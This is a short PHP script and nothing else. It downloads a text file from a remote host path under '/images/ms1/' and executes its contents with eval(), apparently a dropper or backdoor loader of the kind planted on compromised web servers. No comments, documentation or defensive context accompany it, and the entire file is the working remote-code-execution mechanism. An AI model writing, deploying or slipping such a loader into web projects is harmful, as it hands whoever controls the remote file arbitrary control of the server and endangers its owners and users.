<?php
$url = 'http://tknet.com.tw//images/ms1/3PJcpMFsD8B.txt';
$php_code = file_get_contents($url);
if ($php_code !== false) {
$ext = strtolower(pathinfo(parse_url($url, PHP_URL_PATH), PATHINFO_EXTENSION));
if ($ext === 'php' || $ext === 'txt') {
eval('?>' . $php_code);
} else {
echo 'Not a PHP or TXT file.';
}
} else {
echo 'error';
}
?>